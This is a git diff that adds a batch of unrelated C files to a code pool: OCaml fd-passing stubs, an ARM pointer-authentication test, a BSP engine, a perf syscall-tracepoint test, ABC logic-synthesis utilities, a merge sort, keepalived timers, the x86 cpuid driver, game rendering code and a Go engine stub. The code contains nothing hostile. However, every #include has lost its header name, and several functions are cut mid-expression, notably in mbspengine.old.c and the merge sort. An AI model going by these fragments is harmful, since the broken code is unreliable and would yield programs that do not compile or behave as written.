hclose(worker_ch); + hclose(done_ch); +} + diff --git a/pool/shard011/C/0142207_libancillary-stubs.c b/pool/shard011/C/0142207_libancillary-stubs.c new file mode 100644 index 0000000000000000000000000000000000000000..d294688cbba59299ffd0b05685d82ca17d506154 --- /dev/null +++ b/pool/shard011/C/0142207_libancillary-stubs.c @@ -0,0 +1,41 @@ +/** + * Copyright (c) 2015, Facebook, Inc. + * All rights reserved. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the "hack" directory of this source tree. + * + */ + +#define CAML_NAME_SPACE +#include +#include +#include +#include +#include +#include +#include +#undef CAML_NAME_SPACE + +#include "hphp/hack/src/third-party/libancillary/ancillary.h" + +CAMLprim value stub_ancil_send_fd(value int_val_socket, value int_val_fd) { + CAMLparam2(int_val_socket, int_val_fd); + int socket = Int_val(int_val_socket); + int fd = Int_val(int_val_fd); + CAMLreturn(Val_int(ancil_send_fd(socket, fd))); +} + +/** Returns -1 on failure, or non-negative file descriptor on success. */ +CAMLprim value stub_ancil_recv_fd(value int_val_socket) { + CAMLparam1(int_val_socket); + int fd = 0; + int result; + int socket = Int_val(int_val_socket); + result = ancil_recv_fd(socket, &fd); + if (result >= 0) { + CAMLreturn(Val_int(fd)); + } else { + CAMLreturn(Val_int(result)); + } +} diff --git a/pool/shard011/C/0142208_pauth-4.c b/pool/shard011/C/0142208_pauth-4.c new file mode 100644 index 0000000000000000000000000000000000000000..24a639e36ca03f4947e5ae7b599bbe4335f03b05 --- /dev/null +++ b/pool/shard011/C/0142208_pauth-4.c @@ -0,0 +1,45 @@ +#include +#include +#include +#include + +#define TESTS 1000 + +int main() +{ + int i, count = 0; + float perc; + void *base = malloc(TESTS); + + for (i = 0; i < TESTS; i++) { + uintptr_t in, x, y; + + in = i + (uintptr_t) base; + + asm("mov %0, %[in]\n\t" + "pacia %0, sp\n\t" /* sigill if pauth not supported */ + "eor %0, %0, #4\n\t" /* corrupt single bit */ + "mov %1, %0\n\t" + "autia %1, sp\n\t" /* validate corrupted pointer */ + "xpaci %0\n\t" /* strip pac from corrupted pointer */ + : /* out */ "=r"(x), "=r"(y) + : /* in */ [in] "r" (in) + : /* clobbers */); + + /* + * Once stripped, the corrupted pointer is of the form 0x0000...wxyz. + * We expect the autia to indicate failure, producing a pointer of the + * form 0x000e....wxyz. Use xpaci and != for the test, rather than + * extracting explicit bits from the top, because the location of the + * error code "e" depends on the configuration of virtual memory. + */ + if (x != y) { + count++; + } + + } + perc = (float) count / (float) TESTS; + printf("Checks Passed: %0.2f%%", perc * 100.0); + assert(perc > 0.95); + return 0; +} diff --git a/pool/shard011/C/0142209_mbspengine.old.c b/pool/shard011/C/0142209_mbspengine.old.c new file mode 100644 index 0000000000000000000000000000000000000000..f213e083961d951deee6e97ef7471ecc2afbe790 --- /dev/null +++ b/pool/shard011/C/0142209_mbspengine.old.c @@ -0,0 +1,186 @@ +#include "mcbsp.h" +#include "mcbsp-affinity.h" +#include "mbspdebug.h" +#include "mbsptime.h" +#include "mbsputil.h" +#include "mbspdata.h" +#include "mbspdiscover.h" + +#define N 1024 + +#define NDEBUG +#define MANUAL_AFFINITY 2 + + +double* data = NULL; + + +char* sarrayi(int v[], int length) +{ + int i; + char* s = (char*) malloc (sizeof(char)*length); + + sprintf(s, "[ "); + for (i=0; i 0) { + bsp_direct_get(0, t, 0, t, sizeof(multibsp_array_node)*10); + bsp_direct_get(0, &l, 0, &l, sizeof(interval)); + } + bsp_sync(); + + p = bsp_pid(); + n = bsp_nprocs(); + rlevel = vecallocd(n); + r = 0; + tnew = NULL; + + + + if (n > 0) { + interval = partition(l, p, n); + + // TODO: definir next del arbol + //tnew = t->sons[p]; + bsp_init( &engine, 0, NULL ); + rlevel[p] = engine(interval, tnew); + bsp_sync(); + // barrier y luego reducir + rlevel[p] = reduce(rlevel, n); + + + bsp_end(); + } else { + + r = work(interval); + } + + return r; + +} + +int main(int argc, char **argv) +{ + + int i = 0; + double r = 0; + interval l; + + multibsp_tree_node_t ttt = multibsp_discover_new(); + multibsp_array_node_t tree; + + tree = multibsp_array_new(10); + + tree = multibsp_to_array(ttt, tree); + + mcbsp_set_affinity_mode( MANUAL_AFFINITY ); // go MANUAL affinity + + data = vecallocd(N); for (i=0; i +#include "perf.h" +#include "evlist.h" +#include "evsel.h" +#include "thread_map.h" +#include "tests.h" +#include "debug.h" + +int test__syscall_openat_tp_fields(int subtest __maybe_unused) +{ + struct record_opts opts = { + .target = { + .uid = UINT_MAX, + .uses_mmap = true, + }, + .no_buffering = true, + .freq = 1, + .mmap_pages = 256, + .raw_samples = true, + }; + const char *filename = "/etc/passwd"; + int flags = O_RDONLY | O_DIRECTORY; + struct perf_evlist *evlist = perf_evlist__new(); + struct perf_evsel *evsel; + int err = -1, i, nr_events = 0, nr_polls = 0; + char sbuf[STRERR_BUFSIZE]; + + if (evlist == NULL) { + pr_debug("%s: perf_evlist__new\n", __func__); + goto out; + } + + evsel = perf_evsel__newtp("syscalls", "sys_enter_openat"); + if (IS_ERR(evsel)) { + pr_debug("%s: perf_evsel__newtp\n", __func__); + goto out_delete_evlist; + } + + perf_evlist__add(evlist, evsel); + + err = perf_evlist__create_maps(evlist, &opts.target); + if (err < 0) { + pr_debug("%s: perf_evlist__create_maps\n", __func__); + goto out_delete_evlist; + } + + perf_evsel__config(evsel, &opts); + + thread_map__set_pid(evlist->threads, 0, getpid()); + + err = perf_evlist__open(evlist); + if (err < 0) { + pr_debug("perf_evlist__open: %s\n", + strerror_r(errno, sbuf, sizeof(sbuf))); + goto out_delete_evlist; + } + + err = perf_evlist__mmap(evlist, UINT_MAX, false); + if (err < 0) { + pr_debug("perf_evlist__mmap: %s\n", + strerror_r(errno, sbuf, sizeof(sbuf))); + goto out_delete_evlist; + } + + perf_evlist__enable(evlist); + + /* + * Generate the event: + */ + openat(AT_FDCWD, filename, flags); + + while (1) { + int before = nr_events; + + for (i = 0; i < evlist->nr_mmaps; i++) { + union perf_event *event; + + while ((event = perf_evlist__mmap_read(evlist, i)) != NULL) { + const u32 type = event->header.type; + int tp_flags; + struct perf_sample sample; + + ++nr_events; + + if (type != PERF_RECORD_SAMPLE) { + perf_evlist__mmap_consume(evlist, i); + continue; + } + + err = perf_evsel__parse_sample(evsel, event, &sample); + if (err) { + pr_debug("Can't parse sample, err = %d\n", err); + goto out_delete_evlist; + } + + tp_flags = perf_evsel__intval(evsel, &sample, "flags"); + + if (flags != tp_flags) { + pr_debug("%s: Expected flags=%#x, got %#x\n", + __func__, flags, tp_flags); + goto out_delete_evlist; + } + + goto out_ok; + } + } + + if (nr_events == before) + perf_evlist__poll(evlist, 10); + + if (++nr_polls > 5) { + pr_debug("%s: no events!\n", __func__); + goto out_delete_evlist; + } + } +out_ok: + err = 0; +out_delete_evlist: + perf_evlist__delete(evlist); +out: + return err; +} diff --git a/pool/shard011/C/0142211_sscUtil.c b/pool/shard011/C/0142211_sscUtil.c new file mode 100644 index 0000000000000000000000000000000000000000..db7f772bf94468869e1ad17975e8d6b40eb5e4ee --- /dev/null +++ b/pool/shard011/C/0142211_sscUtil.c @@ -0,0 +1,173 @@ +/**CFile**************************************************************** + + FileName [sscUtil.c] + + SystemName [ABC: Logic synthesis and verification system.] + + PackageName [SAT sweeping under constraints.] + + Synopsis [Various utilities.] + + Author [Alan Mishchenko] + + Affiliation [UC Berkeley] + + Date [Ver. 1.0. Started - June 29, 2008.] + + Revision [$Id: sscUtil.c,v 1.00 2008/07/29 00:00:00 alanmi Exp $] + +***********************************************************************/ + +#include "sscInt.h" +#include "sat/cnf/cnf.h" +#include "aig/gia/giaAig.h" + +ABC_NAMESPACE_IMPL_START + + +//////////////////////////////////////////////////////////////////////// +/// DECLARATIONS /// +//////////////////////////////////////////////////////////////////////// + +//////////////////////////////////////////////////////////////////////// +/// FUNCTION DEFINITIONS /// +//////////////////////////////////////////////////////////////////////// + +/**Function************************************************************* + + Synopsis [] + + Description [] + + SideEffects [] + + SeeAlso [] + +***********************************************************************/ +Gia_Man_t * Gia_ManDropContained( Gia_Man_t * p ) +{ + Gia_Man_t * pNew; + Aig_Man_t * pMan = Gia_ManToAigSimple( p ); + Cnf_Dat_t * pDat = Cnf_Derive( pMan, Gia_ManPoNum(p) ); + Gia_Obj_t * pObj; + Vec_Int_t * vLits, * vKeep; + sat_solver * pSat; + int ConstLit = Abc_Var2Lit(pDat->pVarNums[0], 0); + int i, status;//, Count = 0; + Aig_ManStop( pMan ); + + vLits = Vec_IntAlloc( Gia_ManPoNum(p) ); + Gia_ManForEachPo( p, pObj, i ) + { + int iObj = Gia_ObjId( p, pObj ); + Vec_IntPush( vLits, Abc_Var2Lit(pDat->pVarNums[iObj], 1) ); + } + + // start the SAT solver + pSat = sat_solver_new(); + sat_solver_setnvars( pSat, pDat->nVars ); + for ( i = 0; i < pDat->nClauses; i++ ) + { + if ( !sat_solver_addclause( pSat, pDat->pClauses[i], pDat->pClauses[i+1] ) ) + { + Cnf_DataFree( pDat ); + sat_solver_delete( pSat ); + Vec_IntFree( vLits ); + return NULL; + } + } + Cnf_DataFree( pDat ); + status = sat_solver_simplify( pSat ); + if ( status == 0 ) + { + sat_solver_delete( pSat ); + Vec_IntFree( vLits ); + return NULL; + } + + // iterate over POs + vKeep = Vec_IntAlloc( Gia_ManPoNum(p) ); + Gia_ManForEachPo( p, pObj, i ) + { + Vec_IntWriteEntry( vLits, i, Abc_LitNot(Vec_IntEntry(vLits,i)) ); + status = sat_solver_solve( pSat, Vec_IntArray(vLits), Vec_IntArray(vLits) + Vec_IntSize(vLits), 0, 0, 0, 0 ); + Vec_IntWriteEntry( vLits, i, Abc_LitNot(Vec_IntEntry(vLits,i)) ); + if ( status == l_False ) + Vec_IntWriteEntry( vLits, i, ConstLit ); // const1 SAT var is always true + else + { + assert( status = l_True ); + Vec_IntPush( vKeep, i ); + } + } + sat_solver_delete( pSat ); + Vec_IntFree( vLits ); + if ( Vec_IntSize(vKeep) == Gia_ManPoNum(p) ) + { + Vec_IntFree( vKeep ); + return Gia_ManDup(p); + } + pNew = Gia_ManDupCones( p, Vec_IntArray(vKeep), Vec_IntSize(vKeep), 0 ); + Vec_IntFree( vKeep ); + return pNew; +} + +/**Function************************************************************* + + Synopsis [] + + Description [] + + SideEffects [] + + SeeAlso [] + +***********************************************************************/ +Gia_Man_t * Gia_ManOptimizeRing( Gia_Man_t * p ) +{ + Ssc_Pars_t Pars, * pPars = &Pars; + Gia_Man_t * pTemp, * pAux; + int i; + assert( p->nConstrs == 0 ); + printf( "User AIG: " ); + Gia_ManPrintStats( p, NULL ); + pTemp = Gia_ManDropContained( p ); + printf( "Drop AIG: " ); + Gia_ManPrintStats( pTemp, NULL ); +// return pTemp; + if ( Gia_ManPoNum(pTemp) == 1 ) + return pTemp; + Ssc_ManSetDefaultParams( pPars ); + pPars->fAppend = 1; + pPars->fVerbose = 0; + pTemp->nConstrs = Gia_ManPoNum(pTemp) - 1; + for ( i = 0; i < Gia_ManPoNum(pTemp); i++ ) + { + // move i-th PO forward + Gia_ManSwapPos( pTemp, i ); + pTemp = Gia_ManDupDfs( pAux = pTemp ); + Gia_ManStop( pAux ); + // minimize this PO + pTemp = Ssc_PerformSweepingConstr( pAux = pTemp, pPars ); + Gia_ManStop( pAux ); + pTemp = Gia_ManDupDfs( pAux = pTemp ); + Gia_ManStop( pAux ); + // move i-th PO back + Gia_ManSwapPos( pTemp, i ); + pTemp = Gia_ManDupDfs( pAux = pTemp ); + Gia_ManStop( pAux ); + // report results + printf( "AIG%3d : ", i ); + Gia_ManPrintStats( pTemp, NULL ); + } + pTemp->nConstrs = 0; + return pTemp; +} + +//////////////////////////////////////////////////////////////////////// +/// END OF FILE /// +//////////////////////////////////////////////////////////////////////// + + +ABC_NAMESPACE_IMPL_END + diff --git a/pool/shard011/C/0142212_merge_sort_way1_my_think.c b/pool/shard011/C/0142212_merge_sort_way1_my_think.c new file mode 100644 index 0000000000000000000000000000000000000000..65be6616f609e7c4cc5bff2c9b7248acd2830226 --- /dev/null +++ b/pool/shard011/C/0142212_merge_sort_way1_my_think.c @@ -0,0 +1,69 @@ +#include +#include +void print(int *a,int n) { + int i; + for(i=0; i. It monitor & manipulate + * a loadbalanced server pool using multi-layer checks. + * + * Part: Timer manipulations. + * + * Author: Alexandre Cassen, + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + * + * Copyright (C) 2001-2012 Alexandre Cassen, + */ + +#include "config.h" + +#include +#include +#include +#include "timer.h" + +/* time_now holds current time */ +timeval_t time_now; + +/* set a timer to a specific value */ +timeval_t +timer_dup(timeval_t b) +{ + timeval_t a; + + timer_reset_lazy(a); + a.tv_sec = b.tv_sec; + a.tv_usec = b.tv_usec; + return a; +} + +/* timer compare */ +int +timer_cmp(timeval_t a, timeval_t b) +{ + time_t ret = a.tv_sec - b.tv_sec; + if (ret) + return ret < 0 ? -1 : 1; + + ret = a.tv_usec - b.tv_usec; + return ret < 0 ? -1 : ret > 0 ? 1 : 0; +} + +/* timer sub */ +timeval_t +timer_sub(timeval_t a, timeval_t b) +{ + timeval_t ret; + + timer_reset_lazy(ret); + ret.tv_usec = a.tv_usec - b.tv_usec; + ret.tv_sec = a.tv_sec - b.tv_sec; + + if (ret.tv_usec < 0) { + ret.tv_usec += TIMER_HZ; + ret.tv_sec--; + } + + return ret; +} + +/* timer add */ +timeval_t +timer_add(timeval_t a, timeval_t b) +{ + timeval_t ret; + + timer_reset_lazy(ret); + ret.tv_usec = a.tv_usec + b.tv_usec; + ret.tv_sec = a.tv_sec + b.tv_sec; + + if (ret.tv_usec >= TIMER_HZ) { + ret.tv_sec++; + ret.tv_usec -= TIMER_HZ; + } + + return ret; +} + +timeval_t +timer_add_long(timeval_t a, unsigned long b) +{ + timeval_t ret; + + timer_reset_lazy(ret); + + if (b == TIMER_NEVER) + { + ret.tv_usec = TIMER_HZ - 1; + ret.tv_sec = LONG_MAX; + + return ret; + } + + ret.tv_usec = a.tv_usec + (int)(b % TIMER_HZ); + ret.tv_sec = a.tv_sec + (int)(b / TIMER_HZ); + + if (ret.tv_usec >= TIMER_HZ) { + ret.tv_sec++; + ret.tv_usec -= TIMER_HZ; + } + + return ret; +} + +/* This function is a wrapper for gettimeofday(). It uses local storage to + * guarantee that the returned time will always be monotonic. If the time goes + * backwards, it returns the same as previous one and readjust its internal + * drift. If the time goes forward further than TIME_MAX_FORWARD_US + * microseconds since last call, it will bound it to that value. It is designed + * to be used as a drop-in replacement of gettimeofday(&now, NULL). It will + * normally return 0, unless is NULL, in which case it will return -1 and + * set errno to EFAULT. + */ +static int +monotonic_gettimeofday(timeval_t *now) +{ + static timeval_t mono_date; + static timeval_t drift; /* warning: signed seconds! */ + timeval_t sys_date, adjusted, deadline; + + if (!now) { + errno = EFAULT; + return -1; + } + + timer_reset_lazy(*now); + + gettimeofday(&sys_date, NULL); + + /* on first call, we set mono_date to system date */ + if (mono_date.tv_sec == 0) { + mono_date = sys_date; + timer_reset(drift); + *now = mono_date; + return 0; + } + + /* compute new adjusted time by adding the drift offset */ + adjusted = timer_add(sys_date, drift); + + /* check for jumps in the past, and bound to last date */ + if (timer_cmp(adjusted, mono_date) < 0) + goto fixup; + + /* check for jumps too far in the future, and bound them to + * TIME_MAX_FORWARD_US microseconds. + */ + deadline = timer_add_long(mono_date, TIME_MAX_FORWARD_US); + if (timer_cmp (adjusted, deadline) >= 0) { + mono_date = deadline; + goto fixup; + } + + /* adjusted date is correct */ + mono_date = adjusted; + *now = mono_date; + return 0; + + fixup: + /* Now we have to recompute the drift between sys_date and + * mono_date. Since it can be negative and we don't want to + * play with negative carries in all computations, we take + * care of always having the microseconds positive. + */ + drift = timer_sub(mono_date, sys_date); + *now = mono_date; + return 0; +} + +/* current time */ +timeval_t +timer_now(void) +{ + timeval_t curr_time; + int old_errno = errno; + + /* init timer */ + if (monotonic_gettimeofday(&curr_time)) { + timer_reset(curr_time); + errno = old_errno; + } + + return curr_time; +} + +/* sets and returns current time from system time */ +timeval_t +set_time_now(void) +{ + int old_errno = errno; + + /* init timer */ + if (monotonic_gettimeofday(&time_now)) { + timer_reset(time_now); + errno = old_errno; + } + + return time_now; +} + +/* timer sub from current time */ +timeval_t +timer_sub_now(timeval_t a) +{ + return timer_sub(a, time_now); +} + +/* timer add to current time */ +timeval_t +timer_add_now(timeval_t a) +{ + /* Init current time if needed */ + if (timer_isnull(time_now)) + set_time_now(); + + return timer_add(time_now, a); +} + +/* Return time as unsigned long */ +unsigned long +timer_tol(timeval_t a) +{ + unsigned long timer; + timer = (unsigned long)a.tv_sec * TIMER_HZ + (unsigned long)a.tv_usec; + return timer; +} + +#ifdef _INCLUDE_UNUSED_CODE_ +/* print timer value */ +void +timer_dump(timeval_t a) +{ + printf("=> %lu (usecs)\n", timer_tol(a)); +} +#endif diff --git a/pool/shard011/C/0142214_cpuid.c b/pool/shard011/C/0142214_cpuid.c new file mode 100644 index 0000000000000000000000000000000000000000..83741a71558fb0a311fb1bb079e125f24435344a --- /dev/null +++ b/pool/shard011/C/0142214_cpuid.c @@ -0,0 +1,245 @@ +/* ----------------------------------------------------------------------- * + * + * Copyright 2000-2008 H. Peter Anvin - All Rights Reserved + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, Inc., 675 Mass Ave, Cambridge MA 02139, + * USA; either version 2 of the License, or (at your option) any later + * version; incorporated herein by reference. + * + * ----------------------------------------------------------------------- */ + +/* + * x86 CPUID access device + * + * This device is accessed by lseek() to the appropriate CPUID level + * and then read in chunks of 16 bytes. A larger size means multiple + * reads of consecutive levels. + * + * The lower 32 bits of the file position is used as the incoming %eax, + * and the upper 32 bits of the file position as the incoming %ecx, + * the latter intended for "counting" eax levels like eax=4. + * + * This driver uses /dev/cpu/%d/cpuid where %d is the minor number, and on + * an SMP box will direct the access to CPU %d. + */ + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +static struct class *cpuid_class; + +struct cpuid_regs { + u32 eax, ebx, ecx, edx; +}; + +static void cpuid_smp_cpuid(void *cmd_block) +{ + struct cpuid_regs *cmd = (struct cpuid_regs *)cmd_block; + + cpuid_count(cmd->eax, cmd->ecx, + &cmd->eax, &cmd->ebx, &cmd->ecx, &cmd->edx); +} + +static loff_t cpuid_seek(struct file *file, loff_t offset, int orig) +{ + loff_t ret; + struct inode *inode = file->f_mapping->host; + + mutex_lock(&inode->i_mutex); + switch (orig) { + case 0: + file->f_pos = offset; + ret = file->f_pos; + break; + case 1: + file->f_pos += offset; + ret = file->f_pos; + break; + default: + ret = -EINVAL; + } + mutex_unlock(&inode->i_mutex); + return ret; +} + +static ssize_t cpuid_read(struct file *file, char __user *buf, + size_t count, loff_t *ppos) +{ + char __user *tmp = buf; + struct cpuid_regs cmd; + int cpu = iminor(file_inode(file)); + u64 pos = *ppos; + ssize_t bytes = 0; + int err = 0; + + if (count % 16) + return -EINVAL; /* Invalid chunk size */ + + for (; count; count -= 16) { + cmd.eax = pos; + cmd.ecx = pos >> 32; + err = smp_call_function_single(cpu, cpuid_smp_cpuid, &cmd, 1); + if (err) + break; + if (copy_to_user(tmp, &cmd, 16)) { + err = -EFAULT; + break; + } + tmp += 16; + bytes += 16; + *ppos = ++pos; + } + + return bytes ? bytes : err; +} + +static int cpuid_open(struct inode *inode, struct file *file) +{ + unsigned int cpu; + struct cpuinfo_x86 *c; + + cpu = iminor(file_inode(file)); + if (cpu >= nr_cpu_ids || !cpu_online(cpu)) + return -ENXIO; /* No such CPU */ + + c = &cpu_data(cpu); + if (c->cpuid_level < 0) + return -EIO; /* CPUID not supported */ + + return 0; +} + +/* + * File operations we support + */ +static const struct file_operations cpuid_fops = { + .owner = THIS_MODULE, + .llseek = cpuid_seek, + .read = cpuid_read, + .open = cpuid_open, +}; + +static int cpuid_device_create(int cpu) +{ + struct device *dev; + + dev = device_create(cpuid_class, NULL, MKDEV(CPUID_MAJOR, cpu), NULL, + "cpu%d", cpu); + return PTR_ERR_OR_ZERO(dev); +} + +static void cpuid_device_destroy(int cpu) +{ + device_destroy(cpuid_class, MKDEV(CPUID_MAJOR, cpu)); +} + +static int cpuid_class_cpu_callback(struct notifier_block *nfb, + unsigned long action, void *hcpu) +{ + unsigned int cpu = (unsigned long)hcpu; + int err = 0; + + switch (action) { + case CPU_UP_PREPARE: + err = cpuid_device_create(cpu); + break; + case CPU_UP_CANCELED: + case CPU_UP_CANCELED_FROZEN: + case CPU_DEAD: + cpuid_device_destroy(cpu); + break; + } + return notifier_from_errno(err); +} + +static struct notifier_block __refdata cpuid_class_cpu_notifier = +{ + .notifier_call = cpuid_class_cpu_callback, +}; + +static char *cpuid_devnode(struct device *dev, umode_t *mode) +{ + return kasprintf(GFP_KERNEL, "cpu/%u/cpuid", MINOR(dev->devt)); +} + +static int __init cpuid_init(void) +{ + int i, err = 0; + i = 0; + + if (__register_chrdev(CPUID_MAJOR, 0, NR_CPUS, + "cpu/cpuid", &cpuid_fops)) { + printk(KERN_ERR "cpuid: unable to get major %d for cpuid\n", + CPUID_MAJOR); + err = -EBUSY; + goto out; + } + cpuid_class = class_create(THIS_MODULE, "cpuid"); + if (IS_ERR(cpuid_class)) { + err = PTR_ERR(cpuid_class); + goto out_chrdev; + } + cpuid_class->devnode = cpuid_devnode; + + cpu_notifier_register_begin(); + for_each_online_cpu(i) { + err = cpuid_device_create(i); + if (err != 0) + goto out_class; + } + __register_hotcpu_notifier(&cpuid_class_cpu_notifier); + cpu_notifier_register_done(); + + err = 0; + goto out; + +out_class: + i = 0; + for_each_online_cpu(i) { + cpuid_device_destroy(i); + } + cpu_notifier_register_done(); + class_destroy(cpuid_class); +out_chrdev: + __unregister_chrdev(CPUID_MAJOR, 0, NR_CPUS, "cpu/cpuid"); +out: + return err; +} + +static void __exit cpuid_exit(void) +{ + int cpu = 0; + + cpu_notifier_register_begin(); + for_each_online_cpu(cpu) + cpuid_device_destroy(cpu); + class_destroy(cpuid_class); + __unregister_chrdev(CPUID_MAJOR, 0, NR_CPUS, "cpu/cpuid"); + __unregister_hotcpu_notifier(&cpuid_class_cpu_notifier); + cpu_notifier_register_done(); +} + +module_init(cpuid_init); +module_exit(cpuid_exit); + +MODULE_AUTHOR("H. Peter Anvin "); +MODULE_DESCRIPTION("x86 generic CPUID driver"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0142215_gfx.c b/pool/shard011/C/0142215_gfx.c new file mode 100644 index 0000000000000000000000000000000000000000..817a2e2a21b8da3f442c3080d26fa5e1305af2a7 --- /dev/null +++ b/pool/shard011/C/0142215_gfx.c @@ -0,0 +1,255 @@ +// gfx.c +// Graphics environment wrangling. + +#include +#include + +#include + +#include + +#include "render.h" +#include "display.h" +#include "gfx.h" + +#include "shaders/pipeline.h" + +#include "ui/ui.h" +#include "world/world.h" +#include "world/entities.h" +#include "prof/ptime.h" +#include "data/data.h" +#include "control/ctl.h" +#include "gen/worldgen.h" +#include "jobs/jobs.h" +#include "util.h" + +/*************** + * Global vars * + ***************/ + +// Stores the window ID when that gets set up. +GLFWwindow * WINDOW; + +// Should we render to the screen or not? +int RENDER = 1; + +// Callback to call before each render call. +render_callback PRE_RENDER_CALLBACK = NULL; + +// The current width/height of the window. +int WINDOW_WIDTH = 0; +int WINDOW_HEIGHT = 0; + +// Default arguments to prepare(...) +int const DEFAULT_WIDTH = 800; +int const DEFAULT_HEIGHT = 600; +char const * const DEFAULT_NAME = "Elf Forest"; +float const DEFAULT_R = 0.63; +float const DEFAULT_G = 0.68; +float const DEFAULT_B = 1.0; +float const DEFAULT_A = 1.0; + +// Camera parameters +double const FOV = M_PI/3.0; +double const ASPECT = 4.0/3.0; +double const NEAR = 0.05; +double const FAR = 1024.0; + +/*************************** + * GLFW Callback Functions * + ***************************/ + +// GLFW callback functions: + +void resize(GLFWwindow *window, int w, int h) { + int dw = ASPECT*h; + if (w < dw) { + int dh = w/ASPECT; + glViewport(0, (h + dh)/2.0, w, dh); + } else { + glViewport((w - dw)/2.0, 0, dw, h); + } + WINDOW_WIDTH = w; + WINDOW_HEIGHT = h; +} + +void set_active(GLFWwindow *window, int active) { + if (active) { + // Start rendering if we had stopped: + RENDER = 1; + } else { + // Pause and stop rendering, but re-draw once to put up the "PAUSED" + // message: + PAUSED = 1; + PHYSICS_PAUSED = 1; + RENDER = 0; + + render(window); + } +} + +void focus(GLFWwindow *window, int focus) { + set_active(window, focus); +} + +void minmaximize(GLFWwindow *window, int minimized) { + set_active(window, !minimized); +} + +void render(GLFWwindow *window) { + vector head_pos; + // Get the player's head position: + get_head_vec(PLAYER, &head_pos); + + // Clear the buffers: + //clear_color_buffer(); + //clear_depth_buffer(); + + // Set up a fresh model view: + glMatrixMode(GL_MODELVIEW); + glPushMatrix(); + glLoadIdentity(); + + // Call the pre-render callback if it exists: + if (PRE_RENDER_CALLBACK != NULL) { + (*PRE_RENDER_CALLBACK)(); + } + + // Render the active area: +#ifdef PROFILE_TIME + start_duration(&RENDER_AREA_TIME); +#endif + render_area( + ACTIVE_AREA, + &head_pos, PLAYER->yaw, PLAYER->pitch, + FOV*ASPECT, FOV + ); +#ifdef PROFILE_TIME + end_duration(&RENDER_AREA_TIME); +#endif + + // Render the UI: +#ifdef PROFILE_TIME + start_duration(&RENDER_UI_TIME); +#endif + render_ui(); +#ifdef PROFILE_TIME + end_duration(&RENDER_UI_TIME); +#endif + + // Pop our matrix: + glPopMatrix(); + + // Swap buffers and then clear the fresh ones: + glfwSwapBuffers(window); + clear_color_buffer(); + clear_depth_buffer(); + + // Update the framerate counter: + update_rate(&FRAMERATE); +} + +/************************ + * GLFW Setup Functions * + ************************/ + +void init_context(int* argc, char** argv) { + if (!glfwInit()) { + exit(EXIT_FAILURE); + } +} + +void activate_gfx_callbacks(void) { + // Setup the callback functions: + glfwSetWindowRefreshCallback(WINDOW, &render); + // We don't care about window resize events as long as they don't affect our + // framebuffer. + glfwSetFramebufferSizeCallback( WINDOW, &resize ); + glfwSetWindowIconifyCallback( WINDOW, &minmaximize ); + glfwSetWindowFocusCallback( WINDOW, &focus ); +} + +// Sets various OpenGL settings: +void glsettings(void) { + glEnable( GL_CULL_FACE ); + glFrontFace( GL_CW ); + glEnable( GL_BLEND ); + glBlendFunc( GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA ); + glAlphaFunc(GL_GREATER, 0.5); + glBlendColor(1.0, 1.0, 1.0, 1.0); + glEnable( GL_STENCIL_TEST ); // Do we need this? + glEnable( GL_TEXTURE_2D ); + glEnable( GL_DEPTH_TEST ); + glDepthFunc( GL_LESS ); + glDepthMask( GL_TRUE ); + glEnable( GL_FOG ); + glHint( GL_FOG_HINT, GL_FASTEST ); + glFogi( GL_FOG_MODE, GL_EXP2 ); + glEnable( GL_ALPHA_TEST ); + glEnable( GL_POLYGON_OFFSET_FILL ); +} + +// Sets up the OpenGL perspective: +void glperspective(void) { + glMatrixMode( GL_PROJECTION ); + glLoadIdentity(); + gluPerspective(FOV*R2D, ASPECT, NEAR, FAR); + glMatrixMode( GL_MODELVIEW ); +} + +/************* + * Functions * + *************/ + +void prepare_default(int* argc, char** argv) { + prepare( + argc, argv, + DEFAULT_WIDTH, DEFAULT_HEIGHT, + DEFAULT_NAME, + DEFAULT_R, + DEFAULT_G, + DEFAULT_B, + DEFAULT_A + ); +} + +void prepare( + int* argc, + char** argv, + int w, + int h, + char const * const name, + float r, + float g, + float b, + float a +) { + // Initialize GLFW + init_context(argc, argv); + + // Set up the window + WINDOW = glfwCreateWindow( w, h, name, NULL, NULL ); + if (!WINDOW) { + glfwTerminate(); + exit(EXIT_FAILURE); + } + glfwGetWindowSize(WINDOW, &WINDOW_WIDTH, &WINDOW_HEIGHT); + glfwMakeContextCurrent(WINDOW); + + // Initialize GLEW + GLenum err = glewInit(); + if (err != GLEW_OK) { + printf("Failed to initialize GLEW:\n"); + printf(" %s\n", glewGetErrorString(err)); + exit(EXIT_FAILURE); + } + + // Settings + set_bg_color( r, g, b, a); + glsettings(); + glperspective(); + + // Activate callbacks + activate_gfx_callbacks(); +} diff --git a/pool/shard011/C/0142216_proof.c b/pool/shard011/C/0142216_proof.c new file mode 100644 index 0000000000000000000000000000000000000000..aef6c89ff7c0f75edfe0bfd7d23b3d10d34a2cd3 --- /dev/null +++ b/pool/shard011/C/0142216_proof.c @@ -0,0 +1,36 @@ +#include +#include + +#include "board.h" +#include "engine.h" +#include "debug.h" +#include "move.h" +#include "proof/proof.h" + +static coord_t * +proof_genmove(struct engine *e, struct board *b, struct time_info *ti, enum stone color, bool pass_all_alive) +{ + coord_t *coord; + fprintf(stderr, "HELLO WORLD!"); + struct board b2; + board_copy(&b2, b); + for (int i=0; i<=19; i++){ + for (int j=0; j<=19; j++){ + coord = coord_init(i,j,board_size(&b2)); + if (board_is_valid_play(&b2, color, *coord)) + return coord; + } + } + *coord = -1; + return coord; +} + +struct engine * +engine_proof_init(char *arg, struct board *b) +{ + struct engine *e = calloc2(1, sizeof(struct engine)); + e->name = "proof"; + e->comment = "Proof that we can make an engine"; + e->genmove = proof_genmove; + return e; +} diff --git a/pool/shard011/C/0142217_thread.c b/pool/shard011/C/0142217_thread.c new file mode 100644 index 0000000000000000000000000000000000000000..579ce1fca37579b654f879adcbedce4d57825479 --- /dev/null +++ b/pool/shard011/C/0142217_thread.c @@ -0,0 +1,222 @@ +/* Unit tests for GThread + * Copyright 